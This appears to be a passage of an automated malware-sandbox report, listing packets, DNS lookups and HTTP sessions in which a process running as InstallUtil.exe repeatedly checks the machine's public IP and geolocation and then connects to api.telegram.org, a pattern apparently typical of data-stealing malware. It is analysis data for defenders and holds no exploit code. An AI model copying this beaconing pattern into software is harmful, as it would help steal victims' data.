Jan 8, 2025 16:33:20.358763933 CET	49915	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:20.358768940 CET	443	49915	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:20.412499905 CET	49908	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:20.850533962 CET	443	49915	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:20.852149963 CET	49915	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:20.852174997 CET	443	49915	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:20.998884916 CET	443	49915	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:20.998945951 CET	443	49915	188.114.97.3	192.168.2.4
Jan 8, 2025 16:33:20.998990059 CET	49915	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:20.999420881 CET	49915	443	192.168.2.4	188.114.97.3
Jan 8, 2025 16:33:21.012372017 CET	49908	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:21.017306089 CET	80	49908	132.226.8.169	192.168.2.4
Jan 8, 2025 16:33:21.017359018 CET	49908	80	192.168.2.4	132.226.8.169
Jan 8, 2025 16:33:21.020495892 CET	49920	443	192.168.2.4	149.154.167.220
Jan 8, 2025 16:33:21.020519972 CET	443	49920	149.154.167.220	192.168.2.4
Jan 8, 2025 16:33:21.020579100 CET	49920	443	192.168.2.4	149.154.167.220
Jan 8, 2025 16:33:21.020951033 CET	49920	443	192.168.2.4	149.154.167.220
Jan 8, 2025 16:33:21.020963907 CET	443	49920	149.154.167.220	192.168.2.4
Jan 8, 2025 16:33:21.672909021 CET	443	49920	149.154.167.220	192.168.2.4
Jan 8, 2025 16:33:21.673007011 CET	49920	443	192.168.2.4	149.154.167.220
Jan 8, 2025 16:33:21.677673101 CET	49920	443	192.168.2.4	149.154.167.220
Jan 8, 2025 16:33:21.677689075 CET	443	49920	149.154.167.220	192.168.2.4
Jan 8, 2025 16:33:21.677964926 CET	443	49920	149.154.167.220	192.168.2.4
Jan 8, 2025 16:33:21.683248043 CET	49920	443	192.168.2.4	149.154.167.220
Jan 8, 2025 16:33:21.727322102 CET	443	49920	149.154.167.220	192.168.2.4
Jan 8, 2025 16:33:21.949568987 CET	443	49920	149.154.167.220	192.168.2.4
Jan 8, 2025 16:33:21.949626923 CET	443	49920	149.154.167.220	192.168.2.4
Jan 8, 2025 16:33:21.950229883 CET	49920	443	192.168.2.4	149.154.167.220
Jan 8, 2025 16:33:21.955327034 CET	49920	443	192.168.2.4	149.154.167.220
Jan 8, 2025 16:33:38.015902042 CET	49841	80	192.168.2.4	132.226.8.169

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 16:33:07.809209108 CET	62403	53	192.168.2.4	1.1.1.1
Jan 8, 2025 16:33:07.816123009 CET	53	62403	1.1.1.1	192.168.2.4
Jan 8, 2025 16:33:08.942646027 CET	61735	53	192.168.2.4	1.1.1.1
Jan 8, 2025 16:33:08.951699018 CET	53	61735	1.1.1.1	192.168.2.4
Jan 8, 2025 16:33:21.013015985 CET	64655	53	192.168.2.4	1.1.1.1
Jan 8, 2025 16:33:21.019942999 CET	53	64655	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 16:33:07.809209108 CET	192.168.2.4	1.1.1.1	0x87ed	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:33:08.942646027 CET	192.168.2.4	1.1.1.1	0x61d8	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:33:21.013015985 CET	192.168.2.4	1.1.1.1	0x7b62	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 16:33:07.816123009 CET	1.1.1.1	192.168.2.4	0x87ed	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 16:33:07.816123009 CET	1.1.1.1	192.168.2.4	0x87ed	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:33:07.816123009 CET	1.1.1.1	192.168.2.4	0x87ed	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:33:07.816123009 CET	1.1.1.1	192.168.2.4	0x87ed	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:33:07.816123009 CET	1.1.1.1	192.168.2.4	0x87ed	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:33:07.816123009 CET	1.1.1.1	192.168.2.4	0x87ed	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:33:08.951699018 CET	1.1.1.1	192.168.2.4	0x61d8	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:33:08.951699018 CET	1.1.1.1	192.168.2.4	0x61d8	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 16:33:21.019942999 CET	1.1.1.1	192.168.2.4	0x7b62	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49821	132.226.8.169	80	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:33:07.827218056 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:33:08.627363920 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 8, 2025 16:33:08.630911112 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 8, 2025 16:33:08.905949116 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 8, 2025 16:33:09.791059971 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 8, 2025 16:33:10.063947916 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49841	132.226.8.169	80	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:33:10.693666935 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 8, 2025 16:33:11.486530066 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49853	132.226.8.169	80	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:33:12.242264032 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:33:13.042296886 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49863	132.226.8.169	80	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:33:13.661869049 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:33:14.477482080 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49874	132.226.8.169	80	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:33:15.167418003 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:33:15.970668077 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:15 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49886	132.226.8.169	80	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:33:16.611049891 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:33:17.398276091 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:17 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49897	132.226.8.169	80	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:33:18.107815027 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:33:18.891547918 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:18 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49908	132.226.8.169	80	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:33:19.541558027 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 8, 2025 16:33:20.356795073 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49827	188.114.97.3	443	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:33:09 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-08 15:33:09 UTC	855	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:09 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1665178 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7EIb4cbg2bM%2F31B118lHKg3GJL2B2xXQER0NBjxmbIEEUrIc18GS1j7vryseq5Xp%2Bn0dUIjJqCmJXSxLyPpQSUXtZ2EqWLhw9o2eJCeWXX5jH%2FaEymA0YpAn7hlKSGXuHWjNSpY3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed3e8f9b0a41d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1725&min_rtt=1723&rtt_var=650&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1679125&cwnd=251&unsent_bytes=0&cid=ce734b2f31bb2df8&ts=355&x=0"
2025-01-08 15:33:09 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49836	188.114.97.3	443	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:33:10 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-08 15:33:10 UTC	861	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:10 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1665179 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oYbEkcCZNSEgKuS2gtys8owUPGMDVNvJl34dGiq%2F%2BA%2Bjs1nep1Ts6P0YgQ7JJPgcq0dkEgDE03B8l1qC9SKA2Sn9YVHpkQRlC%2FtKIqeZPZGxAYZ%2B1xAKfMBGLAXoB%2F6F6eLo4Zsr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed3e955c90425b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1857&min_rtt=1847&rtt_var=713&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1513737&cwnd=239&unsent_bytes=0&cid=f3a62cbefec11763&ts=165&x=0"
2025-01-08 15:33:10 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49847	188.114.97.3	443	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:33:12 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-08 15:33:12 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:12 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1665181 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UO8EF2jTsVaXtFtd%2FtloeoUdTPmGGONLR5G0oSobHSdWCbUir94fpzd1oLLjszMPYCzaZSjqLS8g7otBhipKq25bEz7FK4no3M2CtPRAnTrqxC6VcWONqPaBQKUulbGgi%2BOWb1pY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed3e9f0a1b8c89-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4477&min_rtt=4477&rtt_var=2238&sent=5&recv=7&lost=0&retrans=1&sent_bytes=4238&recv_bytes=699&delivery_rate=229127&cwnd=202&unsent_bytes=0&cid=ff588b59f5c283a9&ts=286&x=0"
2025-01-08 15:33:12 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49859	188.114.97.3	443	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:33:13 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-08 15:33:13 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:13 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1665182 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=efUngWJ2dmWPqXs1iFuypKv%2B8FclekobcXtdj78WNN7vM7QDNBveUkxVfg6vHSCE4FPAwcxye3zrZfYamiz6VfXwWlHr3ykS3bF7RNvzHrHHq0OkzcHHSE%2BXPjzctcIiI7ANC7k3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed3ea7ef818ccd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2022&min_rtt=2019&rtt_var=763&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1429270&cwnd=195&unsent_bytes=0&cid=5741addbea62c57b&ts=133&x=0"
2025-01-08 15:33:13 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 